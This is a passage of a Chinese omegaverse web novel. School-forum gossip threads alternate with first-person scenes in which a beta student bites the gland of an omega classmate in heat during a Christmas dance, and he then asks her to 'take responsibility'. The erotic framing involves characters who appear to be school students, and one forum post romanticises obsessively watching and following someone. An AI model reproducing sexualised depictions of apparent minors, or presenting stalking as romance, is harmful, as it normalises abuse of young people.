第59章 圣诞节秘事+论坛体
【们能不能不要偷她的衣服了?!】
1L
好心有好报:再偷她就要没有衣服穿了……
2L:dl
3L:们补药这么缺德啊
4L:们不敢说,事实上是她每天都穿新衣服[无奈][捂嘴]
5L:啊啊啊
6L:们发情期和易感期都挤到一起去了吧
……
23L:昨天她外套谁拿了,没放回一件新的吗?
24L:是她在挂星星的时候,有点热出汗后脱下的那件吗?犹豫一会秒没。
25L:放了一件新的来着,但她似乎忘拿了。
【圣诞舞会她会去吗?】
1L
也爱吃黑巧:她去的话我就认真准备一下[傻笑]
2L:我也想知道
3L:不会去,lz别去了,我一个人去就行
……
32L:反正她拒绝了好多人的邀请。
……
48L:!她去!我在礼堂附近看到她了。
49L:回48,戴什么面具??!!
【穿c家的限量款礼服我能艳压全场吗?】
1L
我要飞奔向你:「图片」
2L:随你穿,随你艳压,反正她喜欢清纯款的
3L:回2L,像姜家那位一样吗?
4L:回3L,不,像叶校花一样。
……
34L:回4L,?
35L:?
36L:喜欢?厌烦还差不多[白眼]
【李涛一下,她到底更喜欢omega、beta还是alpha啊?】
1L:lz自我感觉o>b>a
2L:我用0.01秒猜出了lz性别,你也来试试吧。
3L:别李涛了,每次涛这都是腥风血雨
4L:Alpha们嘴硬的很,其实,是个人都能看得出她对alpha是态度最差最不耐烦的了
5L:?那宿斯漾算什么
6L:?那白洛翊算什么
7L:?那刑珏算什么(前天,他们还在一起射箭)
8L:?那萧晏昀算什么
9L:别给我举特例了,骂他们的时候就你们骂的最狠,现在要涛起性别喜爱度了又把这几人举出来了,用则夸之不用弃之。
……
圣诞到了。
巨大无比的圣诞树上一圈一圈缠绕着彩灯,顶上是一颗丝珮叶校徽似的圆盘,巨树从下至上悬挂着或大或小的礼盒,红丝绒的配饰点缀着绿油油的装饰,学校里的节日氛围很浓厚。
礼堂里华贵的烛台上点着象牙白蜡烛,火红的亮光与其下系着的红蝴蝶结相称,无数或精美漂亮或独树一帜的面具挂在墙边,等人采摘。
月光降临,舞会即将开始,我仍穿着校服,随手摘下一个面具,急匆匆踩着典雅华美地毯小心翼翼地穿过人群。
五日前,我为了学分,报名成为志愿者,帮忙布置学校。
今天来此是为了找寻我遗落在休息室的外套。
可是,谁能告诉我,事情为什么会变成这样?
窄小的休息室里,温度不断上升,我热得挂不住面具,僵硬地站着,背后靠着门。
眼睛不受控制地看同一个位置,长沙发靠近扶手的那里蜷缩着一个人。
他平日里柔顺整洁的头发凌乱,脸颊潮红一片,眼下淌着泪,春意笼罩住他,似花开正艳时。
浅灰色的眼珠被热意躁意侵扰,无辜染上颜色,半天前还是浅粉色的唇瓣水光潋滟一开一合,他仰头看着我,像在看救命稻草。
“别走,求求你,别走……”少年清冷声音含着哭腔,滚着粘稠的水声。
我很后悔打开这扇门。
找外套很急,快到舞会开始的时间了,担心等下这里人越来越多,我又急着回家。
于是发现休息室没有我的外套后,我脚步不停向隔壁房间走去。
门一开始是锁住的,我尝试两下后,自言自语了嘟嚷一声“里面有人呀”,门就“滴”的自动开了,里面漆黑一片。
我犹疑地走了进去,手在墙壁上摸索着开灯,房间门随着灯亮的声音“嘭”的闭合。
我和沙发上的叶曦四目相对,他眯着眼轻轻喘息着,含水的眼瞳不知盯着我看了多久,像躲在黑暗里的鬼。
一瞬间,毛骨悚然——
作者有话说:五万字内完结(大概)
第60章 “只要你咬我一下就好了……
“我去帮你拿抑制剂好不好?”我跟他打商量,手已经偷偷摸到了门把手上。
他盯着我,泪眼朦胧,春意盎然,这幅糟糕的样子跟他平时清冷高傲形成了极大的反差,我咽咽口水,低下眼不去看他,手按在门把上轻轻地、慢慢地往下按。
——“……不是说就在这里吗?”“找谁?”“不管带什么面具,我都能认出来。”
低沉的声音压下了室内的喘息,杂乱的脚步声拦下了我出门的想法。
舞会开始,人越来越多了,门一开,叶曦的信息素就会泄露出去,到时候后果不堪设想。
我听着门外的声音,绝望地闭眼,锁门,抬腿向沙发上的少年走去。
叶曦怔怔地盯着我瞧,纤长的眼睫翘起,浅灰色的眼睛像落了一片银河,星光璀璨,嘴角上扬,竟显出几分可爱的孩子气。
不管平时多高傲的人,发情期和易感期都是脆弱的。
我心下感叹,见到他这幅模样我倒是比几分钟前冷静了些,这种情况下,应该担心的是他吧。
“现在外面太多人了,拿不了抑制剂。”我抽了几张纸给他,“你还能坚持多久?”
叶曦蜷在沙发上,盯着我举到他面前的手,喉咙滚了滚,没有说话。
他看上去呆愣愣的,我轻轻拧起眉头,担心他被发情期折磨傻了,捏着白纸巾的手晃动几下,纸巾散发出阵阵香气。
“叶、叶曦,你、你能听得懂我说话吗?”我心里提了一口气,考虑要不要为他叫一辆救护车。
关于omega发|情期的知识我只是书面的了解,脑子里记得都是些专业术语,实际上怎么操作还是一片空白。
他的目光慢慢上移,慢了半拍,应了一声。
然后,他垂下湿濡的眼睫,毛茸茸的脑袋一下子凑近——我的手指传来湿软的触感,像是被小动物讨好地舔舐。
啊
啊啊
啊啊啊
我扼住喉咙里的尖叫,一下子抽出手,太快还硌到了叶曦的牙齿,他呜咽了一声。
半分钟后,对上他闪烁着泪光的眼眸,我把手指一点一点擦拭干净,连指缝也不放过,故作平静问:“你是不是饿了呀?”
“饿了就把纸巾含在嘴巴里。”我坏心眼地抽出一堆纸喂到他嘴边。
他警惕地盯着纸没动,慢吞吞撩起眼皮看我,见我执意如此,才张开微红的唇瓣咬下含住,残留着泪痕的脸颊鼓囊囊的。
好好骗,他清醒过来后会不会找人把我打一顿啊?
我盯着他,心虚又恶意地想,要不要拍个照录个相当作把柄防止他报复我,毕竟他之前对我也不是那么好。
最终还是较高的道德感阻止了我实施这一称得上是犯罪的想法,我坐下,跟他平视,试图跟他洗脑:“是你饿了,我才好心给你的,纸巾也是你主动要吃的,我之前只想让你擦擦眼泪。”
他不动,我吩咐道:“你要点头。”
他点头,我再次提醒:“你要说‘好’。”
他鼓着脸颊,试图张嘴说话,最终在层层叠叠纸巾的碾压下,只含含糊糊回了一个模糊不清的字。
我满意地点点头,继续为他想办法。
当说到打电话给医务人员时,我拿出手机,正想着拨通给谁,一只细长的手按住我,指尖红润,不住地打着颤,他的手热得发烫。
他想说些什么,但口中的纸巾阻掩了他要说的话,声音被吞噬掉一大半。
愈急,白色洇
湿的部分就愈多,勾连出一片水痕。
他眼巴巴地望着我,可怜得不行,好像是没有吩咐就不敢取下口中的异物一样。
我努力忽视心里的异样感,伸手为他取下,水渍沾湿我的指尖。
骤得自由,喉咙发痒,他忍不住咳嗽几下,面色愈发通红,手指用力地按在蔓延着粉意的脖颈上。
“不要走。”他喘息着说,“我能忍受的。”
“不用抑制剂也可以的。”
“真的。”
“我能克服,不需要,抑制剂。”
透明的泪珠如断了线的珠子般滚落,宛若芙蕖上沾满了晶莹的露珠,他轻声央求着,伸出手,轻轻地捏住我的手指。
“只要,只要你咬我一下,就好了。”——
作者有话说:卿卿还是道德感太高了【】
60-70
第61章 圣诞节秘事后记+论坛体
【她的身上带着一种神性】(hot)
1L
Ohmygod:好多人不敢说,实际上她又将谁放进眼里过呢?傲慢的神祇永远注意不到脚下的蝼蚁。
2L:哈哈哈别人都是动物塑,我们卿卿直接nextlevel了,神塑!!!
3L:对啊对啊,你们都别喜欢了,有我一个喜欢就够了
4L:啊啊啊轻蔑冰冷的眼神也好带感,我愿跪下舔[舌头]
5L:我不想当蝼蚁,我宁愿当她的寄生虫
6L:我不想当蝼蚁,我想当她的爱人
7L:……只有我想当蝼蚁吗?这样舔她jiao都不用做出多余的动作了。
8L:回7L,?
9L:??
10L:?好变态
11L;她会把你一脚踹死!!
12L:回11L别让这bt爽到啊
……
【明明只是一个平凡的beta,为什么那么多人喜欢呢?】(hot)
1L
讨厌阴天:我真的很不理解,常常为此感到困惑,于是我特地观察过一段时间,她的喜好很平常,她的作息很普通,她的习惯她的谈吐她的气息,我一一琢磨,观察着观察着,这些我逐渐了如指掌,路上我能够做到仅凭一个背影或走路的姿势就把她认出,买过她喜爱吃食,穿过她的同款衣服,阅读她看过的书目,探寻过她走过的每一处地点,沿着她走过的痕迹,试图去了解她的思想,她的心里路程。做了这些后,我心里的困惑越来越大,甚至开始厌恶她,为什么她面对爱这种伟大的情感表现的如此理所应当,如此镇定冷静呢?为什么她的眼睛里永远只有自己,永远装不下旁人呢?在酷烈的情感冲击下,为什么她能够保持平静,像是在看一些微不足道的东西呢?有时候看见她,我感到很痛苦。以前我不理解爱她的人,不了解她,现在我关注她,我恨她。
2L:你甚至不愿意用“平庸”形容,捡了一个最没有攻击力的词
3L:鉴定完毕,lz因爱生恨
4L:其实恨来恨去,只是恨她没那么爱你,或者说是,从没注意到你
5L:lz费尽心思,想尽办法在证明一个悖论。
6L:真爱粉都没lz做的多
7L:我猜,lz肯定没有在她面前刷存在感吧,一定没有偷偷跟她递过情书吧
8L:我不想骂你,甚至有些可怜你,lz像地缝里的小老鼠。
9L:……眼睛没用就捐了吧,她哪里平凡了?
10L:有段时间,我也好恨她,明明在她眼前晃悠几个月了,结果她还不记得我的名字[哭泣][哭泣]
11L:不记得名字还好吧,我是直接被叫成了另一个人的名字,天杀的,那人我至今还记得
12L:爱都从好奇开始,当你好奇她,想了解她的一切的时候,你就完了
13L:lz好有恨海情天那味哦
……
【她和叶x关系为什么突然好起来了?】(hot)
1L
事已至此先:rt
2L:哪里好了,上回我还瞄见yx躲着她走
3L:真的诶,昨天我还奇怪,她竟然主动对yx笑
4L:啊啊啊不知何时他们两个加了vx,我是他们共友
5L:好像就是那天圣诞夜之后吧(不确定)
6L:什么事什么事,放个耳朵
7L:告诉我告诉我
8L:那天发生了什么吗?她不是没去圣诞舞会吗?
9L:一群人找她都没找到啊?!
……
103L:据知情人士亲眼所见,那天晚上,叶曦后颈上有咬痕。
……
那一晚。
双眼对上她的眼睛,里面装着自己的面容,距离相近,更加清晰。
明明应该感到欣喜、感到快乐的,可就是踩不到实处,心里空落落的,他的情感激烈地涌出,进入一个深邃的黑洞里,没有回应,完全被吞噬。
爱与恨都融为一体,难以分辨。
叶曦这一刻,突然好恨自己……
他微微偏头,露出粉艳艳后颈,如芙蕖花蕊。
叶曦牵着我的手,引导着我触摸那片禁忌地带。
“beta是标记不了omega的。”
我陈述事实,看了看他布满泪光的脸和颤抖的身躯,还是没抽出自己的手。
要不像上次白洛翊那样简单摸摸他?
他的脸上,殷红的被咬破了血的唇与舌、雪白的齿与肤、深黑色的凌乱湿软的发、浅灰色的含着浓烈情绪的眼瞳,每种颜色都极为鲜明,如同一副浓墨重彩的油画,他极为认真地说,如同售货员卖力推销一个产品:“我很干净的……”
无穷的热从身体中喷薄而出,房间成了火炉,喷涌着蒸汽。
我的指尖轻轻地按在那殷红的微凸之处上,他的身体剧烈地震颤一下。
指甲轻轻滑动,他的嘴角都渗出一丝透明的粘液。
……
屋外人声嘈杂,突兀的敲门声“咚咚咚”传来,跟屋内“砰砰”的心跳声一同作响。
“里面有人吗?”
“怎么锁门了?”
……
呻。吟声被一只手用力按下,湿软的舌如猎物般被捕捉进网中,颤抖的身体被压制住,牙齿与腺体相接,似蝴蝶轻点芙蕖花蕊——
作者有话说:
第62章 “你得对我负责”
Omega的腺体是不能随便咬的。
实践出真知。
三日后,这句abo世界人人都知道的道理才刀刻斧凿般深深进入我的脑海。
面前是一辆线条流畅的深黑色豪车,车窗缓缓下降,从一条线到一个框架,从精心打理的发丝、凌厉漂亮的眉眼到高挺秀美的鼻梁,我的心脏随着展露的空间越跳越快。
车内人脸色苍白,似星河般璀璨夺目的眼下微微可见一点青色,但丝毫不显憔悴,这点病态反而为他添色,摄人心魄,冷中带艳。
我强撑着与叶曦对视,手指紧张地下意识成拳攥紧了书包垂落的带子。
自那荒唐的一晚后,我好几日没在学校看见叶曦,原以为事情就这样过去了,没想到,就在我放松警惕,打定主意忘掉那事时,却在上学路上被他堵了。
他不会是来找我麻烦的吧?
我想到这个可能,深呼吸,决定先出招装傻混过去:“有什么事吗?”
他看起来心情还不错,嘴角带笑,要我上车聊。
开玩笑,上车了还出得来吗?我余光扫了眼周围人不少,强掳这事他在这应该干不出来。
我不依,继续装傻:“不用了,就在这说吧。”
叶曦嘴角弧度下降,浅淡的眼眸微眯,语气分不清喜怒:“你确定?”
街上起了阵冷风,落叶飞舞,那双冷眸夹在狂舞的枯叶片之间,直直地望着我,如珠玉般的声音融在猎猎作响的风之中,刻意放缓,清晰可闻。
——养尊处优的贵族omega少爷在大庭广众之下,毫不知羞地谈论起了那晚的荒唐事。
街上不断有人经过,我的表情逐渐破功,快走两步。
“嘭。”车门重重关上。
我不想在外面社死,也顾及着车内的陌生司机,即使怒意尴尬羞耻一齐涌上心头,声音也刻意放小,近乎气音。
“叶曦,你想干嘛?”
他似好整以暇般,下巴轻抬,唇角微翘,如果忽略耳垂的艳红的话,他真像能完全把我拿捏住一样。
“我只想和你好好谈谈,是你非不上来的。”
我到了车内,他反倒没之前那样眼睛黏在我身上不放了,视线飘飘忽忽的,言语中隐约透着股委屈:“我只是一个Omega,能对你做什么?”
车内温暖,若有若无的花香飘到鼻尖,他手中捧着一束娇艳欲滴的花。
不愿提起圣诞夜的我,僵硬地转移话题:“这是什么花”
他低眸,细密的睫毛遮住眼瞳里的情绪,反问我:“好闻吗?”
不管怎样,夸赞总是不出错的,我揣摩着,观察他的脸色:“很香,很好闻。”
“这是芙蕖。”他修长的手指缠绕在细长的墨绿色花带上,递给我,“送给你。”
我迷茫地伸手接过,不知道事情怎么会发展到送花这一环节,但在他问喜不喜欢的时候,我还是情商极高地回喜欢。
芙蕖花在怀中,淡雅的幽香将我笼罩。
司机不知何时下了车,危机感随着芙蕖香愈发浓厚。
先礼后兵吗?我绝望地意识到面对正题必不可免了。
我的手指紧张地掐着花束,静等着他出招。
如果他难过被咬,我就道歉;如果他说他被强迫,我就摆出事实表明自己才是被迫的;如果他……
——“你得对我负责。”
一声惊雷平地起,先前绞尽脑汁想出的说辞毫无用处,我震撼地忘记维护表面的镇定。
“啊?”
“负责什么?!”
是我听错了还是理解错意思了?
是我疯了还是他疯了?
他轻声说:“你那晚标记我了。”
不是只有alpha才能标记omega吗?beta不具备这一功能啊,而且我连beta都不是,是个正宗地球人啊!!!
我怀疑他在唬我。
“不可能!”
他静静地盯了我两秒,我为了展示自己的坚定与诚恳,回望过去。
“我没有骗你。”他递给我一份医疗检测报告。
我快速翻看,看到最后指尖都在轻颤。
「……以患者身体各项指标来看,构成假性标记条件,建议与其标记者协商,承担责任」
太荒谬了。
我怀疑这份报告的真伪,了解的abo知识里没有一项告诉我beta能够标记omega的,哪怕是假性标记!
“这是近年来才研究出来的,omega虽然不能被beta真正标记,但却可以被影响到精神生理,构成假性标记,百万分之一的概率,我们倒是……有缘。”
助人为乐可不能把自己搭进去。
我合上几页的报告,随手搭在芙蕖花上,硬着头皮开口:“叶曦,你当时意识模糊可能记不清了,那时候正开圣诞舞会,那个房间是不隔音的,外面有好几个人在敲门,而你当时、当时。”
不知是车内温度上升,还是我尴尬得热气上涌,我深吸气,努力忽视壮大的羞耻感:“你当时,叫、叫的声音很大,我怕、外面的人听见影响不好,才、才咬你的。”
“我是为了帮你呀。”我定定地看着他,全然不提自己怕被人听见怕社死,脑子一热就堵住他的嘴咬下去的事。
一口气说完,车内一时寂静,叶曦纯澈的眼眸茫然一瞬,很快脸颊红粉蔓延,浅灰色的眼珠被细细的水光掩盖。
车内的空气似绵密的针尖,扎得我喘不过气,坐如针毡,恨不得跳下窗去。
我恍惚觉得自己像占了便宜还用言语羞辱受害者的禽兽,道德感和心虚感催促着我补救。
“虽然,虽然负责是不可能的,但在你发情期这段时日,我可以陪陪你。”
书上说,被标记过的omega在发情期通常持续一周,且极为依赖alpha,推算一下,叶曦发情期还有三天才结束,作为补偿,我当alpha陪他三天好了。
想来安抚发情期omega和易感期alpha一样,步骤是差不多的。
他的眼瞳中泪光闪烁,摇摇欲坠,眼底情绪难辩,他说:“好。”
叶曦的唇角微微上扬——
作者有话说:……学校事太多了。
第63章 “可以牵一下手吗?”
我和叶曦约定的是三天。
上午第一节课下课他就在我班级门口了。
也不叫我同学喊我,就那么静静地,隔着一层透明的窗瞧我。
他的目光并不浓烈,并不张扬,如蜻蜓点水般轻盈,仅拨起一圈浅淡的、小小的涟漪,这种注视太过理所当然,是如空气、水源般习以为常的事物,无法让我立即回望过去,注意到因他而起的喧嚣,像重石打破平静的水面,牵动着同学们的眼睛与唇舌。
——直到同桌鱼竹雨的手指轻叩我的桌面,厚重的两声让我停下翻书的动作,柔软的书页被手压住,没等我抬眼,投去询问的目光,她说:“云卿,外面,好像有人找你。”
她的声音一如既往的平稳轻柔,眉眼、鼻尖、下巴连成一道流畅柔软的线条,我的视线从她姣好的侧脸移开,顺着她移动的眼瞳看向窗外。
窗似画框,身后来往同学皆沦落为画中模糊影,放着微光的浅灰勾勒出他的轮廓,清冷矜贵,身姿绰约。
我的目光仅在主角身上停留一瞬,就流转在周遭的人身上。
好奇的、打量的眼神,不断地来回转动,兴奋的、询问的细碎声音,像是细小的蚂蚁爬在皮肤上,激起一阵战栗。
鱼竹雨的眼神落在我的身上,带着洞察性的探究意味:“需要帮忙吗?”
她的眼瞳几乎明亮得让人生恶,早些时候遗忘的感觉突兀得回归身体,是动物般被人洞悉弱点的恐惧。
我垂着眼,扯扯嘴角:“不用了,他是我朋友。”
书页不停地翻卷、摩擦,最后“砰”的一声合上,我站起身,主动从一个漩涡迈向另一个漩涡。
实在不想在众目睽睽之下和叶曦交谈弄出奇怪传闻的我把叶曦扯到一个拐角处。
“叶曦。”我克制的,轻咬着牙,一个字一个字的,从喉咙中滚出,恨不得把字化作透明的刀片,扎得他遍体凌伤,同归于尽,“你又想干什么?”
他的睫毛带着眼瞳都在微微的颤动,抿着唇,如艺术品般的面容上没有什么表情,冰冷的模样逼人不敢造次,更别说生出什么亵渎的心思。
我耐性一般,也没有艺术细胞,见他沉默,生起给他一拳的冲动。
我拧眉,不耐烦地瞪他:“说话。”
他抬眼,眼眸如精心雕琢的名钻,坚硬而冰冷,闪着细碎的光,随着唇瓣张合,眼中冷光慢慢消退,硬度徐徐软化。
“……对不起。”他说,“我只是想在教室外看看你。”
我沉默了一瞬,指责他:“你刚刚的行为太奇怪了,我不想成为一些奇怪的传闻里的主角,明白吗?”
他点头。
我顿了顿:“下次有事,直接发消息约定时间,不能一声不吭就来我教室找我。”
他缓慢地眨了一下眼睛,再次点头。
“这种帮你度过发情期的行为是要保密的,绝对绝对不能被别人知道。”
他这次没有点头,沉默了几秒后,问:“为什么?”
我掷地有声:“当然是为了我们两个的名声。”
这种事很光彩吗?当然要低声些隐秘些!
“哦——”他盯着我,犹疑地,不情愿地点了一下头。
真搞不明白他有什么不情愿的,om
ega的清白难道不比beta重要得多吗?
“好了,快上课了,我先走了。”
我刚转身,衣袖处就传来轻微的拉扯感。
两根指头捏住深色的外套袖口,白雪做的手指,唯有指尖染了层薄红,他低着眸,不好意思地提出请求。
“在上课前,可以,牵一下手吗?”——
作者有话说:
第64章 “你又要去找他吗”
荷花生长在水中,开放于夏日,花瓣尖柔媚淡雅的粉蔓延到花心成了浅淡纯洁的白,花叶是碧绿的,是一把倒挂的伞,纹路清晰,向上撑起,晶莹的水珠常汇集于中央,流淌得珠玉的壁还要顺滑。
荷花也叫莲花,莲花生莲蓬,拨开粗糙长着刺尖的外壳,就能找到淡绿色的莲子,这样的莲子最为鲜嫩、水汁饱满,但要想尝到还得拨开那层薄薄的绿色外壳,才能掇取到白生生、嫩而带韧的莲子,白莲子的莲心处生着一条细长绿枝,嫩莲是不苦的。
要想吃到一颗美味的莲子,需经过几层繁琐的程序,想要慧眼识珠抓到好莲,就要起个早床,天刚刚蒙蒙亮就去池边,蹚着泥水,抓个露水莲蓬。
不知道是我还是他的身上,残留着今日早晨的莲花香。
他有着画家一样充满艺术气息的手,指尖似花,外观如莲子,形却似莲茎,有着微微扎手但不刺痛的尖。
冬日,出乎意料的,手温与整个人清冷的气质大相径庭,如夏日荷花池浸润着阳光的水,散着绵绵热气,暖而发烫。
他的眼瞳也像泡了阳光的池塘水,亮的,暖的,冷色调的面容被铺上另一种截然相反的颜料。
“好了,两分钟,时间到了。”我赶紧提醒他。
叶曦慢吞吞地收回手,我松了口气。
虽然这里是教学楼比较偏僻的地方,平时来的人很少,但说不准就会有人路过碰巧看到牵手的这一幕,到时候不是社死就是出名加社死。
我很害怕,怕被同学看见的恐慌紧张完全压下了与叶曦肌肤接触的不适,度秒如年,数着时间到了,我和他一前一后离开。
走廊光洁明亮,象牙白的栏杆前靠着好几个说笑的同学,我目不斜视从他们身前走过。
上课铃在我走进教室后三秒钟后响起,老师跟在我身后进来。
吵杂喧嚣的教室,微妙的静了一瞬,一举一动也变得缓慢定格,像按下暂停键,声音变小趋于静默。
老师在上面讲课,我在下面继续翻起了那本图书馆里借来的课外书。
我不是标准意义上的好学生,很多课程在我这里被简单的归纳为“无用的知识”,只是为了排名不那么难看而学习,一旦发现这门课不用细听就能掌握后,我就会干些自己的事情。
系统在离开前留下了大笔能让以后生活无忧的钱财,我很少思考未来,不管是以前有家人托举的自己,还是现在孤身一人但生活不愁的自己。
我总是被推着前进,若没有性命攸关kpi的存在,我想我甚至不会来上学,甚至不会出门,就一个人关在房间里,直到死去都不会跟这里的任何一个人产生关联。
“……云卿,云卿?”
我从意识的世界被扯到物质的现实,随口应了一声,撩起眼皮看去,是前桌姜念屿轻声喊我,他穿着宽松的浅灰色毛衣,暖黄的灯光打在身上,营造出温柔的氛围,如同是旧时经过长途跋涉而送到心心念念的人手中的信件。
他托着下巴,浓黑的睫毛下压几乎盖住他整个眼瞳,露出的白皙手腕上半串红玛瑙,想挂着几颗凝固的血滴,他的声音含笑,好奇的:“你在看什么书呀?”
我转动书页,把书封给他看,我的手扶着书身。
他一直低垂的眼眸颤动如振翅的飞虫,聚焦的目光像要把书盯出一个洞,慢慢地低头凑近,我的手指感受到他呼出的热气。
“嘭。”我下意识收拢手指,厚重的书本倒在课桌上,发出一声响,引来许多同学好奇的目光。
猝不及防,他掀起眼皮,我看见一双蜜液般粘稠的双瞳。
手机震动了一下,屏幕自动亮起,我收回视线。
【[叶子]:我现在想来找你】
【[叶子]:可以吗?】
我没急着回复,而是先去在网上搜索“omega发情期每时每刻缠着人正常吗?”
认真看了下回答。
行吧,都说正常。那我暂且忍耐三天,把发情期omega当作高需求宝宝对待就行了。
我回复他【你找一个偏僻的房间,最好没什么人来,周围也没监控的,你找好了,我再过去陪你】
我回完消息后,清理桌面上的杂物。
我站起身,顺手拿起那本没看完的书,还没走出半步。
一个声音蓦然在耳畔响起。
轻声的,平稳的,不带任何激烈的情绪,但在较为安静的班级里是那么清晰,每个字像连着一根细细的线穿进耳朵:“你又要去找他吗?”——
作者有话说:
第65章 全身粘满了各种情绪的眼……
沉默是绿色的,整个世界都蒙上了绿幕,不详的寂静笼罩着整个教室,外面玩闹说笑的声音像是来自不可触及的远方。
前桌姜念屿的目光黑沉沉地压在我身上,同桌鱼竹雨手中的笔顿住,斜前方宿斯漾侧着身子关切地看向我,身旁经过的刑珏停下脚步。
我茫然站立在那里,被这突然沉重肃穆的气氛吓得一动不动。
全身粘满了各种情绪的眼睛,探究的挖掘着我的内核。
惊慌的情绪向外扩散到身体,手指不由自主打着颤,出自本能,补救性的,我茫然地反问变得有点奇怪的姜念屿:“你在问我吗?”
声音打破静止的时间,凝固的空气开始重新涌动。
姜念屿笑了一下,又好像没有,他垂着密匝匝的浓黑眼睫,站起来,声音轻得近乎温柔,如同情人的絮语:“我和你一起去。”
他轻快地走到我身边,不到一个拳头的亲密距离,我能闻到他身上浓郁的香气,像是刚刚成熟就摘下的青梅,飞溅着白色的酸甜汁水。
“走呀,卿卿。”柔和带着笑意的声音,如雪白的牙齿咬下熟透的果实,甜甜的汁液在口腔中炸开。
他握住我垂在身侧的手,我的手就像被玩偶软绵的毛发完全包裹住一样,不透出一点可以见光的缝隙。
“……”
我听见自己越来越快的心跳声,剧烈的情绪扼在喉咙里不得出路,只得眼睁睁看着他的动作。
“不走吗?”他纯然地眨眨眼,疑惑地歪头,蓬松柔软的栗色发丝轻轻地晃动。
我盯着他,竭力平复自己应激出现的生理反应,再次反问:“去哪里?”
接近心脏一侧的手臂变得酥麻,冷硬的空气几乎又要重新挤进来。
他的表情变了一瞬,琥珀色的眼睛也跟着变了,但因睫毛落得太快,我分辨不出他眼底的情绪。
“对啊,姜念屿,你想去哪里呀?带我一起阿。”散漫轻佻的声音插进来,像是无拘无束能恣意流向各个方向的水流。
我寻声望去,萧晏昀身体随意地靠在墙边,不知看了多久。
姜念屿半点眼神没分给他,再次向我迈近一步。
“你……”
我的另一只手被不知何时靠近的宿斯漾轻轻牵住,她安抚地看着我,姜念屿被刑珏突兀的动作隔开,踉跄一步,远离我一个身位。
但他仍未放手,执着地逼近我,我的手指被拉扯得轻微酸痛,不由得皱眉。
他才松了力气。
我的身后与宿斯漾贴着,鼻尖到她脖颈的位置,嗅到浅浅的柚子香,左侧方是刑珏,
银发在暖黄的光下染上温暖的颜色,高大的身躯微挡住姜念屿,我看不到他张合的嘴唇说的话,右侧是宿斯漾,她端坐着,我自然垂落的手臂时而碰到她的头发,身后侧方的墙壁还靠着玩味盯着的萧晏昀,放在口袋里的手机震动,我猜测应该是叶曦发来的消息。
拥挤闭塞,冷空气都无法流通,冬天里我觉得全身都在发烫。
教室里暖气开的太足了吧……
我艰难地呼吸,脑袋发晕,迷茫地眨眼,不动声色地扫了一圈,竟不知从哪个方向走才能安全地退出去。
“云卿,老师找你,上次那个志愿活动的资料需要补齐一下。”伴随着不疾不徐的脚步而来的是拯救我于水火的天籁。
宿斯漾扫了眼来者,松开手,让出一条路。
他们目送着我离开。
我跟着原亦可出去,终于呼吸到新鲜的、流动的空气,那股压抑感缓解了不少。
原亦可距离我半米远,像往日那样安静沉默。
我终于在最近奇奇怪怪的人和事情中找到了一点熟悉感,放松下来询问:“原亦可,那个前几天不是都一块填完了吗?还缺什么呀?”
走到宽阔的长廊上,木质建筑显得格外古朴典雅,周围只有我和他两个人,呼啸而过的冷风打在未曾关紧的窗上,缓解了身体的热意。
他微微偏脸,瞥来一眼,搭在额上的黑发没有挡住对着我的那一只眼眸,线条弯曲的弧度得像是有着复杂花纹的蛇,瞳仁深黑,眼角下勾,眼尾上弯,形状极为瑰丽漂亮。
微弯的眼里噙着笑意,张口时猩红的舌若影若现,他说:“什么都不缺,我骗他们的。”
嗯?我停住脚,有些发懵,听懂了他说的话,但没理解他为什么要这样做。
他看着我,轻声笑了出来,白森森的牙齿里藏着一个小小的虎牙:“我的意思是,你现在自由了,可以想去哪里去哪里了。”
他笑起来让我觉得陌生,但这样温和的态度使我安心,我犹豫着张口:“……那谢谢你?”
我站在原地,他在岔路与我分离——
作者有话说:卿:好多人啊(转动脑袋)
第66章 论坛体【一波又起】
【祸乱的根源:八一八圣诞前夜到底是谁偷走了那件校服外套】(hot)
【(投票)下次校外志愿活动她会挑谁呢?】(hot)
【……无语,某些人已经沉浸在自己的艺术里不知天地为何物了,对,说的就是你,白莲花!】(hot)
【话说,学校外安保工作能不能加强点,老是有神经社会人士莫名其妙的搭讪】(hot)
【们梦男梦女,真没空陪你们闹了,别再写小作文了好吗?好的】(hot)
1L:「图片链接:
《同桌》《曾经那个班级里最不起眼的同学》《怦然心动的那一天》《呼吸急促的第十五秒》《如何培育一只蝴蝶》《彩虹的颜色》」
2L:小梦女,大文豪
3L:虽然《第十五秒》最贴近现实,但我还是更喜欢最有代入感最甜蜜的《蝴蝶》
4L:投《彩虹》一票
5L:怎么没人喜欢《同桌》这一篇啊,这文笔不是挺好的吗?
6L:回5L……因为谁都知道她的同桌就那么几个人啊
7L:因为代不了,同桌有名有姓
……
123L:笑死,又偏贴了
124L:谁能知道lz原意是讽刺呢?我知道,但我投《怦然心动》一票
【你们觉得姜念屿和叶曦两美O谁和她更配呀?(纯好奇,不引战,梦女梦男退退退!】(hot)「1」「2」「3」……「7」「8」
1L:lz个人觉得,从外貌方面看,姜念屿浅栗发琥珀眼,嘴唇常年上弯,气质更柔软,唇红齿白,身体很好气血很足的样子,叶曦黑发浅灰眸,不苟言笑,看起来冷冷的,气质清冷傲慢,有种艺术家独树一帜不下凡尘的仙子范,外表看上去一个是热冷互补,一个是双冷搭配。但从一些典型事件中了解到更深处的性格来看,姜反而比较冷漠不近人情,叶心肠柔软心思细腻。
2L:……楼主这是疯了吗?
3L:[惊恐][惊恐]
4L:你把大名打出来,是已经做好他们线下抓人的准备了吗?
5L:这么敏感的话题也敢聊
6L:为什么一定是omega呢?个人觉得明明alpha与她更搭呀
8L:我投beta一票。
9L:楼主发出来就是找骂的吧
10L:别投投投了,真当选男宠呢这是,她独美好吗?
11L:……梦女梦男打过来了,我先跑
12L:帖子已经被举报了,这么快
13L:要我说,都不配哈,一个绿茶,一个白莲
14L:无语了,一定要在这俩里选一个吗?好难哦,选谁都是shi
15L:啊啊啊不要让她被会发情的动物缠上啊
16L:lz|
17L:z再发这种贴博眼球,4000+
18L:呀lz应该不知道论坛回帖手机不能震动
19L:不要用简单的“冷”概括她好吗?觉得冷就把衣服穿上,再不就是去去眼科医院,没有钱就搞募捐。
……
145L:请你去s,谢谢
【三一A班今天上午到底发生了什么?】(hot)「1」「2」「3」……「12」「13」
1L:为什么问起来都是一副讳莫如深的样子?
2L:dd
3L:你应该把问的范围扩大一点,问,今天上午那一层楼发生了什么[苦笑][苦笑]
4L:?她班上???
5L:这又是怎么呢?
6L:谁来宠宠我
7L:抓耳挠腮好痛苦,心里有一种不详的预感
8L:所以到底怎么了?
9L:蹲蹲
10L:我在这贴住下了
……
